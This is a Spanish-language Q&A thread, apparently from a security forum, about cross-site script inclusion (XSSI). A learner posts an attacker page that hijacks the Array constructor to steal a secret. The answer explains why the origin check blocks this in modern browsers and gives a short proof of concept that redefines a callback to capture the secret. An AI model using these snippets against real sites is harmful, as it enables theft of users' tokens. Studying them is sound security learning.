¿Cómo obtener el contenido de JS de la vulnerabilidad de XSSI?

2

Estoy aprendiendo sobre los ataques XSSI y me pregunto si se puede usar el siguiente JS dinámico para acceder al contenido.

Dinamic.js:

if (window.location.hostname === 'Demo.site.com' ){
    updateLoginHeader('Nick', 'IWANT-THIS-SECRET'); }

¿Puede el atacante recuperar IWANT-THIS-SECRET utilizando la etiqueta javascript? Estaba intentando algo como:

<script type="text/javascript">
var secrets;

Array = function() {
  secrets = this;
};
</script>

<script src="https://example.com/Dinamic.js"type="text/javascript"></script>

<script type="text/javascript">

  var yourData = '';
  var i = -1;
  while(secrets[++i]) {
    yourData += secrets[i] + ' ';
  }

  alert('I stole your data: ' + yourData);
</script>

¿Alguna idea para recuperar IWANT-THIS-SECRET?

    
pregunta pancho 29.05.2017 - 09:48
fuente

1 respuesta

3

Para un ataque de inclusión de secuencia de comandos entre sitios con éxito, tendría que omitir esta comprobación de origen:

if (window.location.hostname === 'Demo.site.com')

Eso no es posible porque los navegadores modernos no te permiten anular window.location , como se explica aquí y aquí . La propiedad hostname es de solo lectura por razones de seguridad. Esto significa que solo Demo.site.com puede acceder al token IWANT-THIS-SECRET ejecutando el archivo JS.

En navegadores más antiguos, una redefinición de la propiedad podría tener este aspecto:

window.__defineGetter__("location", function(){
    return { hostname: "attacker.exmaple" }
});

Pero si lo intentas, obtendrás un mensaje de error. Por ejemplo, para Firefox:

TypeError: can't redefine non-configurable property "location"

Si pudieras omitir la verificación de origen, un simple ataque XSSI podría funcionar así:

<script>
function updateLoginHeader() {
    alert(arguments[1]);
}
</script>
<script src="https://targetsite.example/Dinamic.js"></script>

Comopuedever,solotienequedefinirsupropiafunciónquecaptureelargumentodelafunción"secreta". (Su intento de redefinir Array se parece más a un enfoque del secuestro JSON que no es útil aquí y que, por lo general, tampoco tendrá éxito en ningún navegador moderno).

    
respondido por el Arminius 29.05.2017 - 13:04
fuente

Lea otras preguntas en las etiquetas